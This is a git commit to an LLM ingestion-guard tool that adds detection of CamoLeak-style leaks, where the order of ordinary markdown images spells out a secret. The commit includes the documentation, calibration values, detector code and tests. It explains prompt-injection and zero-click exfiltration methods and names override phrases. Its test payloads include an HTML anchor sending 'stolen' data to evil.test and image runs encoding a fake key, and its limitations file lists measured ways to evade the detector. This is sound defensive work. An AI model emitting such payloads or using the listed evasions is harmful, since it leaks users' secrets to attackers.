feat(active): report a run of images whose order carries a value
Session 6 of the 2026 threat plan (attack row 3): A05 output was red. CamoLeak renders a secret as one image per character from a URL alphabet; each URL is ordinary, so each image graded LOW and the gate WARNed. - active:markdown-image-sequence (MEDIUM): at least 4 ordinary external images, inline or reference-style, on one URL template whose varying tokens are 2 chars or fewer, or digit runs. Digits that count up in document order are a counter and carry nothing. The per-image grade is unchanged; the finding sits beside it. - Accepted twins (flag tables, figures 1a/1b) go to review; measured evasions (word dictionary, 3-char symbols, counter increments, run of 3, a template per symbol) are in LIMITATIONS. Guard rule before/after: FP 106/198, 196/2918, 108/389 identical. Those corpora hold no external markdown image, so the rule was also run on 577 package READMEs (312 with external images): 0 firings at run lengths 3-8. OKF import 47/31 identical. Matrix 140/140, ReDoS 163 patterns 0 flagged, suite 1179 passed + 5 xfailed. Row 3: 13 caught, 1 gap, 5 open.
This commit is contained in:
parent
d00d1b0658
commit
eeb7bf07f6
13 changed files with 403 additions and 12 deletions
41
CHANGELOG.md
41
CHANGELOG.md
|
|
@ -5,6 +5,47 @@ All notable changes to this project will be documented in this file.
|
|||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
### Added — a run of images whose order carries a value (attack A05, CamoLeak)
|
||||
|
||||
CamoLeak had the assistant render a secret as a run of images, one per character,
|
||||
from a pre-built URL alphabet. Each URL on its own names a remote image and carries
|
||||
nothing, so each was graded LOW and the gate WARNed. The value is in which image
|
||||
comes where.
|
||||
|
||||
| Finding | Severity | What it reports |
|
||||
|---|---|---|
|
||||
| `active:markdown-image-sequence` | MEDIUM | at least 4 ordinary external images (`calibration.IMAGE_SEQUENCE_MIN_RUN`), inline or reference-style, on one URL template whose varying tokens are 2 characters or fewer (`IMAGE_SEQUENCE_SYMBOL_MAX`) or digit runs |
|
||||
|
||||
A run whose only varying parts are numbers that count up in document order
|
||||
(`step-1.png`, `step-2.png`, or `ch1/fig2.png` before `ch2/fig1.png`) is a counter
|
||||
and is not reported. Images on another template are not part of the run, so decoys
|
||||
do not dilute it. Reference-style images (`![a][r]`, `![r][]`, `![r]`) resolve
|
||||
through their definitions. Each image keeps its own `active:markdown-image` grade;
|
||||
the new finding sits beside it.
|
||||
|
||||
MEDIUM sends the run to review rather than to a block. The rule reads the order
|
||||
from the shape of the URLs, and that shape has benign twins: a table of country
|
||||
flags (`/w20/no.png`, `/w20/se.png`, …) or figures named `1a`, `1b`, `2a` are
|
||||
reported too. What it does not catch, measured: a dictionary of words, symbols of
|
||||
3 characters or more, a counter whose increments carry the value, a run of 3, and
|
||||
a run that changes template for every symbol. All are in `docs/LIMITATIONS.md`.
|
||||
|
||||
**If you route on labels:** a document with such a run now goes to
|
||||
`QUARANTINE_REVIEW` under `PRESET_USER_UPLOAD`, not WARN.
|
||||
|
||||
**Measured against the guard rule, before and after:** the false-positive
|
||||
populations are identical at 106/198 · 196/2918 · 108/389. Those three hold no
|
||||
external markdown image, so the rule was also run over 411 npm READMEs and 166
|
||||
PyPI descriptions (312 with external images, inline or by reference, badge rows
|
||||
included): 0 firings, and 0 at every run length from 3 to 8. The pinned OKF corpus is identical on
|
||||
import at 47 fail-secure / 31 warn, with 0 firings. The coverage matrix is at
|
||||
140/140 classes. The ReDoS sweep covers 163 patterns, 0 flagged. Cost at the
|
||||
1 000 000-character cap on an image-only document: the rule adds about 0.5 s of
|
||||
CPU to a 4.6 s scan. Attack row 3: A05 is caught, leaving 13 caught, 1 documented
|
||||
gap and 5 open.
|
||||
|
||||
## [1.6.0] — 2026-10-31
|
||||
|
||||
### Added — hidden markup at the persist gate (attacks A04, A14, A15)
|
||||
|
|
|
|||
|
|
@ -81,6 +81,11 @@ byte-likt med commons. En verdi med ledende `0` overlates commons-raden `zero-fo
|
|||
Hvit tekst alene er bevisst ikke et signal. `output:html-comment-present` (MEDIUM)
|
||||
teller bare kommentarer utenfor kode. Katalogregisteret har 16 oppføringer med
|
||||
`cited` == `latest` (`tests/test_catalog_register.py`).
|
||||
**Rekkefølge-bæring (1.7.0):** `active:markdown-image-sequence` (MEDIUM) melder minst
|
||||
4 vanlige eksterne bilder (inline eller referanse) på samme URL-mal der bare korte
|
||||
tokener (2 tegn eller færre) eller sifre varierer. Sifre som teller oppover i
|
||||
dokumentet er en teller og bærer ingenting. Flaggtabeller er en akseptert tvilling.
|
||||
Bildene graderes fortsatt LOW hver for seg; funnet står ved siden av.
|
||||
Start med `docs/BRIEF.md` for design, `README.md` for bruk, `docs/PLAN.md` for
|
||||
byggerekkefølgen.
|
||||
|
||||
|
|
|
|||
10
README.md
10
README.md
|
|
@ -206,18 +206,18 @@ tier + disposition, emitted to `log.md`).
|
|||
Concrete attack classes, grouped by OWASP Top 10 for LLM Applications **2026**
|
||||
anchor. Numbers carry the year, OWASP's own form, because the 2026 edition
|
||||
renumbered the list; a class no entry describes carries no number. Every row is
|
||||
driven by a **live payload** in the coverage matrix — run it to watch all 145 pass
|
||||
driven by a **live payload** in the coverage matrix — run it to watch all 146 pass
|
||||
in your own environment:
|
||||
|
||||
```bash
|
||||
python -m llm_ingestion_guard.coverage # 139/139 classes; exit 0 = all as documented
|
||||
python -m llm_ingestion_guard.coverage # 140/140 classes; exit 0 = all as documented
|
||||
```
|
||||
|
||||
| Anchor | Attack classes it stops (representative) |
|
||||
|---|---|
|
||||
| **LLM01:2026 · prompt injection** | 83 instruction-override lexicon classes (ignore / forget / disregard / suspend-constraints, role-play, jailbreak, …); hidden carriers — every invisible codepoint in Unicode 18.0 (zero-width, BIDI override, Unicode-tag, variation-selector and Sneaky-Bits smuggling, private use; legitimate emoji, CJK, Arabic-script, Indic and right-to-left uses exempt on context), HTML-comment, `data:` URI — stripped on input **and** re-checked at the persist gate (a comment the model leaves in its artifact is reported unless it sits in code); text hidden by styling — a font too small to read, or text coloured like its own background; high-entropy base64/hex blobs; an injection hidden inside a base64 blob (decoded, then re-scanned) |
|
||||
| **LLM02:2026 · sensitive-info disclosure** | Secret egress in output — AWS keys, tokens, private keys, the credential set; a base64-*wrapped* secret (decoded → `decoded:egress:*`) |
|
||||
| **LLM10:2026 · improper output handling** | Zero-click exfil carriers (EchoLeak, CVE-2025-32711) — markdown-image auto-fetch, inline / reference / autolink links, raw active HTML, standalone `data:` URIs |
|
||||
| **LLM10:2026 · improper output handling** | Zero-click exfil carriers (EchoLeak, CVE-2025-32711) — markdown-image auto-fetch, inline / reference / autolink links, raw active HTML, standalone `data:` URIs; a run of images whose *order* carries a value while each URL is ordinary (CamoLeak) |
|
||||
| **LLM03:2026 · excessive agency** | A tool surface on the quarantined transform; credential use beyond the per-stage allowlist; capability isolation (`scoped_env`) |
|
||||
| **Fail-secure** *(the guard's own failure semantics)* | Forced-fallback attack (scan hit + transform failure → halt); compound weak-signal escalation; an un-scannable artifact fails **closed** — never a silent persist |
|
||||
| **OKF structure (T1–T6)** | Body + frontmatter-value injection; YAML anchor / merge / nested / block DoS (parse-safety); non-`https` / active-scheme `resource` URLs and the `resource` allowlist; path traversal / reserved-name shadow; cross-link graph; provenance stamping |
|
||||
|
|
@ -249,7 +249,7 @@ column is the part it does **not** stop. Each one was measured or is a documente
|
|||
| **AML.T0143 · LLM Prompt Propagation** | Instructions that the lexicon or a carrier check sees are caught at the output gate, so they never reach the store that would pass them on | Propagation over a channel the guard does not sit on |
|
||||
| **AML.T0051.001 · LLM Prompt Injection: Indirect** | The **LLM01:2026** row above | Novel phrasings with no lexicon hit; the tool-less transform carries that case |
|
||||
| **AML.T0068 · LLM Prompt Obfuscation** | Invisible characters, HTML comments, a font too small to read, text coloured like the background declared on the same element, base64 and rot13 (decoded, then re-scanned) | White text whose background sits on a parent element or in a stylesheet: a plain-prose instruction hidden that way gives 0 findings |
|
||||
| **AML.T0077 · LLM Response Rendering** | The **LLM10:2026** row above: markdown-image auto-fetch, links, raw active HTML | Pure beaconing to a bare path on a hostile host (a documented gap) |
|
||||
| **AML.T0077 · LLM Response Rendering** | The **LLM10:2026** row above: markdown-image auto-fetch, links, raw active HTML, a run of images whose order spells a value | Pure beaconing to a bare path on a hostile host (a documented gap); an image run whose symbols are words rather than short tokens |
|
||||
| **AML.T0066 · Retrieval Content Crafting** | Only the crafted content that also carries an injection | The crafted content itself — semantic gap |
|
||||
|
||||
**Every catalog the guard cites is on its newest edition, with the date it was
|
||||
|
|
@ -328,7 +328,7 @@ a green scan means safe content. The highest-impact items:
|
|||
two of the three corpora are living, so the cells are not rewritten in place.
|
||||
Method and before/after: [`docs/rawhtml-census.py`](docs/rawhtml-census.py).
|
||||
|
||||
**Full list — 48 items, each with the mechanism, plus the out-of-scope boundary:**
|
||||
**Full list — 49 items, each with the mechanism, plus the out-of-scope boundary:**
|
||||
[`docs/LIMITATIONS.md`](docs/LIMITATIONS.md). Several carry field measurements from
|
||||
consumer corpora, including the false positives the URL-shape rule actually produces.
|
||||
|
||||
|
|
|
|||
|
|
@ -142,9 +142,9 @@ live payload:
|
|||
python -m llm_ingestion_guard.coverage # exit 0 = all as documented
|
||||
```
|
||||
|
||||
As of `v1.6.0`: **139 / 139 defended classes demonstrated (recall 100%)** and **6 /
|
||||
As of `v1.6.0`: **140 / 140 defended classes demonstrated (recall 100%)** and **6 /
|
||||
6 documented gaps still hold** (a *closed* gap fails the test, forcing a doc
|
||||
update). The matrix is the single source of truth for the test suite (**1142
|
||||
update). The matrix is the single source of truth for the test suite (**1179
|
||||
passing**), which also asserts total recall, that every lexicon pattern has a
|
||||
case (so the matrix cannot fall behind the lexicon), the full LLM02:2026 secret-egress
|
||||
set, and the container-layer front-end (CSV formula-injection, zip-slip/bomb,
|
||||
|
|
|
|||
|
|
@ -250,6 +250,24 @@ items; this is the full list, each with the mechanism.
|
|||
is bounded by `log2(length)` at short lengths. Mitigation in depth, not in this
|
||||
detector: a literal credential in a URL is still caught by the LLM02:2026 egress
|
||||
patterns in the same `scan_output` pass, whatever severity the carrier gets.
|
||||
- **A value carried by the order of images is caught only when each symbol is short
|
||||
and the run shares one URL template.** Since 1.7.0
|
||||
`active:markdown-image-sequence` (MEDIUM) reports a run of at least 4 ordinary
|
||||
external images (`IMAGE_SEQUENCE_MIN_RUN`), inline or reference-style, whose URLs
|
||||
share one template and differ only in tokens of 2 characters or fewer
|
||||
(`IMAGE_SEQUENCE_SYMBOL_MAX`) or in digit runs, unless those digits count up in
|
||||
document order. That is CamoLeak's shape (attack A05). Measured 2026-10-31, each
|
||||
a WARN with only a LOW per image: a dictionary of words (`/alpha.png`,
|
||||
`/kilo.png`), symbols of 3 characters, a counter whose *increments* carry the
|
||||
value, a run of 3, and a run whose symbols each change the path depth (every
|
||||
image its own template). The opposite error is accepted: a table of country
|
||||
flags (`/w20/no.png`, `/w20/se.png`, …) or figures named `1a`, `1b`, `2a` has the
|
||||
shape of a symbol alphabet and goes to review. Neither occurs in the six benign
|
||||
populations measured (the three false-positive corpora, 411 npm READMEs, 166 PyPI
|
||||
descriptions and the 78 OKF concepts): 0 firings at every run length from 3 to 8.
|
||||
The three false-positive corpora hold no external markdown image at all, so the
|
||||
READMEs are the population that tests the rule. Raw `<img>` tags are not
|
||||
counted: each one is already `active:raw-html` (HIGH).
|
||||
- **Percent-escapes count as data-carrying — a `%20` in a path is a false positive.**
|
||||
An ordinary link with an encoded space grades as carrying and reaches
|
||||
QUARANTINE_REVIEW / FAIL_SECURE on an untrusted upload. Obfuscated encoding is a
|
||||
|
|
@ -632,7 +650,7 @@ items; this is the full list, each with the mechanism.
|
|||
missed; on one preset it is held for review instead of halted.
|
||||
|
||||
- **The ReDoS sweep has a measured sensitivity floor, not a clean bill of
|
||||
health.** All 161 compiled patterns across all eleven regex-bearing modules are
|
||||
health.** All 163 compiled patterns across all eleven regex-bearing modules are
|
||||
swept arm by arm — payloads synthesised per run from each pattern's own
|
||||
skeleton, so `[`, `[system]` and `[system](` are each probed separately rather
|
||||
than relying on generic units, and each pattern is timed in the call mode the
|
||||
|
|
|
|||
13
docs/PLAN.md
13
docs/PLAN.md
|
|
@ -269,6 +269,19 @@ tas i økt 2:*
|
|||
I referansekorpuset står 253 av 254 kommentarer i kode.
|
||||
- **Økt 6, rekkefølge-bæring:** A05 utgang. Hvert bilde bærer ingen data, men
|
||||
rekkefølgen gjør det. Det graderes LOW og gir WARN.
|
||||
*Gjort 31.10 (1.7.0):* A05 fanges, så rad 3 har nå **13 fanget, 1 hull og 5
|
||||
røde** (A08, A09, A12, A16, A19). `active:markdown-image-sequence` (MEDIUM) melder
|
||||
minst 4 vanlige eksterne bilder på samme URL-mal der bare korte tokener (2 tegn
|
||||
eller færre) eller sifre varierer, med unntak for sifre som teller oppover.
|
||||
Bildene graderes fortsatt hver for seg; funnet står ved siden av. Målt før
|
||||
bygging: de tre falsk-positiv-korpusene har ikke ett eksternt markdown-bilde, så
|
||||
de kan ikke prøve regelen. Derfor er den også målt på 411 npm-README-er og 166
|
||||
PyPI-beskrivelser (312 med eksterne bilder) og OKF-korpuset: 0 treff for alle
|
||||
lengder fra 3 til 8. Vaktregelen holder: falsk-positiv-tallene og OKF-importen er
|
||||
identiske. Flaggtabeller og figurer kalt `1a`, `1b` er tvillinger regelen ikke kan
|
||||
skille fra en symbolkanal. De går til gjennomsyn og står i LIMITATIONS, sammen med
|
||||
de målte omgåelsene (ordbok med ord, symboler på 3 tegn, en teller der stegene
|
||||
bærer verdien).
|
||||
- **Økt 7, instruksjoner i ren prosa:** A08, A09, A12, A16 og A19. Ingen av dem har
|
||||
en markør. Her er det mest sannsynlig at flere ender som dokumenterte hull fordi
|
||||
vaktregelen ikke holder. Det skal måles, ikke antas.
|
||||
|
|
|
|||
|
|
@ -130,7 +130,10 @@ from urllib.parse import urlsplit
|
|||
|
||||
from .calibration import (
|
||||
ACTIVE_CONTENT_ORDINARY_SEVERITY as _ORDINARY_SEVERITY,
|
||||
ACTIVE_CONTENT_SEQUENCE_SEVERITY as _SEQUENCE_SEVERITY,
|
||||
ACTIVE_CONTENT_SEVERITY as _SEVERITY,
|
||||
IMAGE_SEQUENCE_MIN_RUN as _SEQUENCE_MIN_RUN,
|
||||
IMAGE_SEQUENCE_SYMBOL_MAX as _SYMBOL_MAX,
|
||||
MAX_SCAN_CHARS,
|
||||
URL_OPAQUE_ENTROPY_H as _OPAQUE_H,
|
||||
URL_OPAQUE_HEX_MIN_LEN as _OPAQUE_HEX_LEN,
|
||||
|
|
@ -431,6 +434,105 @@ def is_ordinary_url(url: str) -> bool:
|
|||
return not any(_is_opaque(token) for token in _URL_TOKEN_RE.split(named) if token)
|
||||
|
||||
|
||||
# --- sequence-carried exfiltration: the order is the carrier (A05, 1.7.0) ------
|
||||
# CamoLeak (Legit Security, 2025-09-30) rendered a secret as a run of images, one
|
||||
# per character, from a pre-built URL alphabet. Every URL in such a run can be
|
||||
# ordinary — `is_ordinary_url` is right that none of them carries a value — so the
|
||||
# per-image grade is LOW and the gate WARNs. The value is in which image comes
|
||||
# where. (CamoLeak's own Camo URLs carry a 40-hex signature, which the opacity
|
||||
# test already grades HIGH image by image; the rule below is for the alphabet
|
||||
# that needs no such token.)
|
||||
#
|
||||
# The rule: group the external, ordinary images by URL TEMPLATE — every token of
|
||||
# host and path, with a short token (`IMAGE_SEQUENCE_SYMBOL_MAX` chars or fewer)
|
||||
# turned into a symbol slot and every digit run in a longer token into a digit
|
||||
# slot. A template with at least `IMAGE_SEQUENCE_MIN_RUN` images whose slots vary
|
||||
# is a run that can carry a value. One exception carries nothing: when every
|
||||
# varying slot is a number and the numbers count up in document order
|
||||
# (`step-1.png`, `ch1/fig2.png` before `ch2/fig1.png`), the position predicts the
|
||||
# URL. Images on another template are not part of the run, so decoys with long
|
||||
# names do not dilute it.
|
||||
#
|
||||
# Reference-style images (`![a][r]`, `![r][]`, `![r]`) resolve through their
|
||||
# definitions, so the run cannot move out of the inline form; a definition no
|
||||
# image uses is a link list and is not counted. ReDoS (OWASP LLM06:2026): both
|
||||
# runs in `MD_IMAGE_REF_RE` exclude `[`, the anchor's own opening character, as
|
||||
# the table above does.
|
||||
MD_IMAGE_REF_RE = re.compile(r"!\[(?P<alt>[^\]\[]*)\](?:\[(?P<ref>[^\]\[]*)\])?(?!\()")
|
||||
_DIGIT_RUN_RE = re.compile(r"\d+")
|
||||
|
||||
|
||||
def _ref_label(label: str) -> str:
|
||||
"""CommonMark label matching: case-insensitive, internal whitespace collapsed."""
|
||||
return " ".join(label.split()).casefold()
|
||||
|
||||
|
||||
def _external_images_in_order(text: str) -> list[str]:
|
||||
"""Every external image URL in ``text``, inline or by reference, in document order."""
|
||||
found = [(m.start(), m.group("url")) for m in MD_IMAGE_RE.finditer(text)]
|
||||
definitions: dict[str, str] = {}
|
||||
for m in MD_REFDEF_RE.finditer(text):
|
||||
# `pre` is ` [label]: `; the first definition of a label wins.
|
||||
definitions.setdefault(_ref_label(m.group("pre").strip()[1:-2]), m.group("url"))
|
||||
if definitions:
|
||||
for m in MD_IMAGE_REF_RE.finditer(text):
|
||||
label = _ref_label(m.group("ref") or m.group("alt"))
|
||||
if label in definitions:
|
||||
found.append((m.start(), definitions[label]))
|
||||
found.sort(key=lambda hit: hit[0])
|
||||
return [url for _, url in found if _has_external_target(url)]
|
||||
|
||||
|
||||
def _template(url: str) -> tuple[tuple[str, ...], tuple[str, ...]]:
|
||||
"""``(template, slot values)`` for an ordinary URL's host and path."""
|
||||
parts = urlsplit(url)
|
||||
template: list[str] = []
|
||||
slots: list[str] = []
|
||||
for token in _URL_TOKEN_RE.split(parts.netloc.lower() + parts.path):
|
||||
if not token:
|
||||
continue
|
||||
if len(token) <= _SYMBOL_MAX:
|
||||
template.append("*")
|
||||
slots.append(token)
|
||||
else:
|
||||
template.append(_DIGIT_RUN_RE.sub("#", token))
|
||||
slots.extend(_DIGIT_RUN_RE.findall(token))
|
||||
return tuple(template), tuple(slots)
|
||||
|
||||
|
||||
def _counts_up(rows: list[tuple[str, ...]]) -> bool:
|
||||
"""True if every row is all digits and the rows strictly increase, read as numbers."""
|
||||
if not all(value.isdigit() for row in rows for value in row):
|
||||
return False
|
||||
numbers = [tuple(int(value) for value in row) for row in rows]
|
||||
return all(a < b for a, b in zip(numbers, numbers[1:]))
|
||||
|
||||
|
||||
def _carrying_image_runs(text: str) -> list[list[str]]:
|
||||
"""The runs of ordinary external images whose order can carry a value.
|
||||
|
||||
Each run is its URLs in document order.
|
||||
"""
|
||||
by_template: dict[tuple[str, ...], list[tuple[str, tuple[str, ...]]]] = {}
|
||||
for url in _external_images_in_order(text):
|
||||
if not is_ordinary_url(url):
|
||||
continue # already graded as carrying on its own
|
||||
template, slots = _template(url)
|
||||
by_template.setdefault(template, []).append((url, slots))
|
||||
runs = []
|
||||
for members in by_template.values():
|
||||
if len(members) < _SEQUENCE_MIN_RUN:
|
||||
continue
|
||||
rows = [slots for _, slots in members]
|
||||
varying = [i for i in range(len(rows[0])) if len({row[i] for row in rows}) > 1]
|
||||
if not varying:
|
||||
continue # one image repeated carries nothing
|
||||
if _counts_up([tuple(row[i] for i in varying) for row in rows]):
|
||||
continue # a counter: the position predicts the URL
|
||||
runs.append([url for url, _ in members])
|
||||
return runs
|
||||
|
||||
|
||||
# Per-construct severities (_SEVERITY, imported above) live in `calibration` —
|
||||
# zero-click auto-fetch/execute -> HIGH, click-required -> MEDIUM — the Node port
|
||||
# shares them.
|
||||
|
|
@ -504,6 +606,17 @@ def scan_active_content(
|
|||
if imgs:
|
||||
_flag("markdown-image", imgs)
|
||||
|
||||
# Read from the unmasked text: a run may mix inline and reference-style images,
|
||||
# and its own finding sits beside the per-image grade without changing it.
|
||||
runs = _carrying_image_runs(text)
|
||||
if runs:
|
||||
report.add(Finding(
|
||||
label="active:markdown-image-sequence", severity=_SEQUENCE_SEVERITY,
|
||||
source=source, detector="active_content", count=sum(len(run) for run in runs),
|
||||
evidence=redact(defang_url(runs[0][0]), show_start=24),
|
||||
owasp=_owasp.IMPROPER_OUTPUT_HANDLING,
|
||||
))
|
||||
|
||||
links = _scan(MD_LINK_RE, "url", _has_external_target)
|
||||
if links:
|
||||
_flag("markdown-link", links)
|
||||
|
|
|
|||
|
|
@ -173,6 +173,27 @@ ACTIVE_CONTENT_ORDINARY_SEVERITY = Severity.LOW
|
|||
# here is what 0.3.1 exists to fix.
|
||||
URL_OPAQUE_ENTROPY_H, URL_OPAQUE_MIN_LEN = 4.4, 24
|
||||
|
||||
# --- active_content: sequence-carried exfiltration (A05, 1.7.0) -------------
|
||||
# A run of external images can carry a value in its ORDER while every URL in it
|
||||
# is ordinary (CamoLeak: one image per character from a pre-built URL alphabet).
|
||||
# `active:markdown-image-sequence` reports a run of at least
|
||||
# IMAGE_SEQUENCE_MIN_RUN images on one URL template whose varying tokens are
|
||||
# short symbols, IMAGE_SEQUENCE_SYMBOL_MAX characters or fewer — one byte in hex.
|
||||
# A longer varying token reads as a name (a gallery), which is the residual.
|
||||
#
|
||||
# Measured 2026-10-31 before building: 0 firings at every run length from 3 to 8
|
||||
# on six benign populations (the three false-positive corpora, 3 505 documents
|
||||
# and none with an external markdown image; 411 npm READMEs and 166 PyPI
|
||||
# descriptions, 312 of them with external images; the pinned OKF corpus, 78). The corpora
|
||||
# therefore do not bind the minimum. 4 is the shortest value worth stealing in
|
||||
# one run (a four-digit code); the published case is six.
|
||||
IMAGE_SEQUENCE_MIN_RUN = 4
|
||||
IMAGE_SEQUENCE_SYMBOL_MAX = 2
|
||||
# MEDIUM, so the run goes to review rather than to a block: each image on its own
|
||||
# carries nothing, the reading of the order is an inference from shape, and the
|
||||
# shape has benign twins (a table of country flags) documented in LIMITATIONS.
|
||||
ACTIVE_CONTENT_SEQUENCE_SEVERITY = Severity.MEDIUM
|
||||
|
||||
# Hex floor for a URL token. Deliberately lower than ENTROPY_HEX_FLOOR_LEN (64):
|
||||
# in prose a 32-char hex run is usually a checksum, but as a whole path segment
|
||||
# or host label it is an opaque id — the md5/uuid length an exfil path uses.
|
||||
|
|
|
|||
|
|
@ -521,6 +521,11 @@ def _build_cases() -> list[Case]:
|
|||
# consumer can pin needs a row here, or 128/128 would silently exclude it.
|
||||
_scan_case("active", "raw HTML anchor (click-required)", "active:raw-html-link",
|
||||
'<a href="https://evil.test/collect?d=stolen">t</a>', owasp=_owasp.IMPROPER_OUTPUT_HANDLING),
|
||||
# Session 6 (2026-10-31, A05 CamoLeak): every image ordinary, the order carries.
|
||||
_scan_case("active", "image run whose order carries a value (sequence exfil)",
|
||||
"active:markdown-image-sequence",
|
||||
"".join(f"" for c in "AKIAEX"),
|
||||
owasp=_owasp.IMPROPER_OUTPUT_HANDLING),
|
||||
_scan_case("active", "standalone data: URI in prose", "active:data-uri",
|
||||
"payload data:text/html;base64,PHN2Zz4= end", owasp=_owasp.IMPROPER_OUTPUT_HANDLING),
|
||||
_predicate_case("active", "ordinary document is NOT over-blocked", "warn",
|
||||
|
|
|
|||
|
|
@ -225,8 +225,8 @@ GAP_CASES = [
|
|||
# A01 and A02 caught from 1.4.2 (session 2: the invisible-codepoint denominator).
|
||||
# A04 and A15 output caught in session 5 (hidden markup): `html-obfuscation:tiny-font`
|
||||
# and `output:html-comment-present`.
|
||||
# A05 output caught in session 6 (sequence carriage): `active:markdown-image-sequence`.
|
||||
RED = {
|
||||
"A05-output": "each image carries no data, the sequence does: LOW -> WARN (beaconing gap)",
|
||||
"A08-output": "natural-language persistence instruction in the output: 0 findings",
|
||||
"A09-input": "conditional memory trigger in plain prose: 0 findings",
|
||||
"A12-input": "natural-language task with no marker: 0 findings",
|
||||
|
|
|
|||
|
|
@ -272,13 +272,13 @@ def test_redos_sweep_floor_and_flag_match_the_published_numbers():
|
|||
assert "2.6 flag threshold" in text
|
||||
|
||||
|
||||
def test_redos_sweep_collector_covers_161_patterns_across_11_tables():
|
||||
# The count docs/LIMITATIONS.md carries as "all 161 compiled patterns across
|
||||
def test_redos_sweep_collector_covers_163_patterns_across_11_tables():
|
||||
# The count docs/LIMITATIONS.md carries as "all 163 compiled patterns across
|
||||
# all eleven regex-bearing modules". A pattern added or removed in `src/`
|
||||
# without re-measuring would drift the doc's claim silently otherwise.
|
||||
assert len(redos_sweep.TABLES) == 11
|
||||
total = sum(len(collect()) for collect in redos_sweep.TABLES.values())
|
||||
assert total == 161
|
||||
assert total == 163
|
||||
|
||||
|
||||
# --- both scripts: the argument-less contract --------------------------------
|
||||
|
|
|
|||
172
tests/test_image_sequence.py
Normal file
172
tests/test_image_sequence.py
Normal file
|
|
@ -0,0 +1,172 @@
|
|||
"""Sequence-carried exfiltration — each image carries nothing, the order does (A05).
|
||||
|
||||
CamoLeak (Legit Security, 2025-09-30) had the assistant render a secret as a run of
|
||||
images, one per character, from a pre-built URL alphabet. Every URL on its own is
|
||||
an ordinary remote image, so ``is_ordinary_url`` grades each one LOW and the gate
|
||||
WARNs: the value is in which image comes where.
|
||||
|
||||
``active:markdown-image-sequence`` reports a run of at least
|
||||
``calibration.IMAGE_SEQUENCE_MIN_RUN`` external images that share one URL template
|
||||
and differ only in short symbols (``calibration.IMAGE_SEQUENCE_SYMBOL_MAX`` chars
|
||||
or fewer per token). A run whose only varying parts are numbers that count up in
|
||||
document order is a counter (``step-1.png``, ``step-2.png``): its position is
|
||||
predictable, so it carries nothing and is not reported.
|
||||
|
||||
Measured before building (2026-10-31): 0 firings at every run length from 3 to 8
|
||||
on six benign populations — the three false-positive corpora (3 505 documents,
|
||||
none of which holds an external markdown image), 411 npm READMEs and 166 PyPI
|
||||
descriptions (312 of them with external images, badge rows included) and the
|
||||
pinned OKF corpus (78). The look-alikes the rule cannot tell apart from a symbol
|
||||
channel — a table of country flags, figures named ``1a``/``1b`` — are pinned
|
||||
below as accepted and documented in ``docs/LIMITATIONS.md``.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import pytest
|
||||
|
||||
from llm_ingestion_guard import Disposition, PRESET_USER_UPLOAD, decide
|
||||
from llm_ingestion_guard.calibration import IMAGE_SEQUENCE_MIN_RUN
|
||||
from llm_ingestion_guard.output import scan_output
|
||||
from llm_ingestion_guard.report import Severity, Source
|
||||
from redos_clock import scan_seconds
|
||||
|
||||
LABEL = "active:markdown-image-sequence"
|
||||
SECRET = "AKIAEX"
|
||||
|
||||
|
||||
def _report(text: str):
|
||||
return scan_output(text, source=Source.OUTPUT)
|
||||
|
||||
|
||||
def _seq(text: str):
|
||||
return [f for f in _report(text).findings if f.label == LABEL]
|
||||
|
||||
|
||||
# --- what carries ------------------------------------------------------------
|
||||
|
||||
CARRYING = {
|
||||
# The frozen A05 case: one symbol and a per-position signature.
|
||||
"symbol-and-signature": "".join(
|
||||
f"" for n, c in enumerate(SECRET)),
|
||||
# A dictionary with one URL per character: repeats are the point.
|
||||
"dictionary-with-repeats": "".join(f"" for c in "AKIAAA"),
|
||||
"binary": "".join(f"" for ch in "AK" for b in f"{ord(ch):08b}"),
|
||||
"hex-nibbles": "".join(f"" for c in "414b4941"),
|
||||
"symbol-in-subdomain": "".join(f"}.x.test/p.gif)" for c in SECRET),
|
||||
"digits-out-of-order": "".join(f"" for d in "730192"),
|
||||
# Reference-style images resolve through their definitions: A03's form.
|
||||
"reference-style": "".join(f"![x][r{n}]" for n in range(6)) + "\n\n" + "\n".join(
|
||||
f"[r{n}]: https://camo.test/{c}/s{n}" for n, c in enumerate(SECRET)),
|
||||
"collapsed-reference": " ".join(f"![{c}][]" for c in "AKIEXQ") + "\n\n" + "\n".join(
|
||||
f"[{c}]: https://camo.test/{c}.png" for c in "AKIEXQ"),
|
||||
"shortcut-reference": " ".join(f"![{c}]" for c in "AKIEXQ") + "\n\n" + "\n".join(
|
||||
f"[{c}]: https://camo.test/{c}.png" for c in "AKIEXQ"),
|
||||
"mixed-inline-and-reference": (
|
||||
" ![a][k]  ![b][e]\n\n"
|
||||
"[k]: https://camo.test/K.png\n[e]: https://camo.test/E.png\n"),
|
||||
}
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name", sorted(CARRYING))
|
||||
def test_a_run_whose_order_carries_a_value_is_reported(name):
|
||||
found = _seq(CARRYING[name])
|
||||
assert len(found) == 1, name
|
||||
assert found[0].severity is Severity.MEDIUM
|
||||
|
||||
|
||||
def test_the_report_leaves_review_not_warn():
|
||||
# The point of the finding: the gate no longer waves the run through.
|
||||
d = decide(_report(CARRYING["symbol-and-signature"]), PRESET_USER_UPLOAD).disposition
|
||||
assert d is not Disposition.WARN
|
||||
|
||||
|
||||
def test_each_image_still_grades_ordinary():
|
||||
# The new finding sits beside the per-image grade, it does not regrade it.
|
||||
img = next(f for f in _report(CARRYING["symbol-and-signature"]).findings
|
||||
if f.label == "active:markdown-image")
|
||||
assert img.severity is Severity.LOW
|
||||
|
||||
|
||||
def test_evidence_is_defanged_and_counts_the_run():
|
||||
f = _seq(CARRYING["symbol-and-signature"])[0]
|
||||
assert f.count == len(SECRET)
|
||||
assert "hxxps://camo[.]test" in f.evidence
|
||||
assert "https://" not in f.evidence
|
||||
|
||||
|
||||
def test_decoys_with_another_template_do_not_hide_the_run():
|
||||
text = CARRYING["symbol-and-signature"] + "".join(
|
||||
f"" for w in ("overview", "decoyname"))
|
||||
assert len(_seq(text)) == 1
|
||||
|
||||
|
||||
def test_one_run_short_of_the_minimum_is_not_reported():
|
||||
n = IMAGE_SEQUENCE_MIN_RUN - 1
|
||||
assert _seq("".join(f"" for c in "QXZ"[:n])) == []
|
||||
|
||||
|
||||
def test_the_minimum_run_is_reported():
|
||||
n = IMAGE_SEQUENCE_MIN_RUN
|
||||
assert len(_seq("".join(f"" for c in "QXZWV"[:n]))) == 1
|
||||
|
||||
|
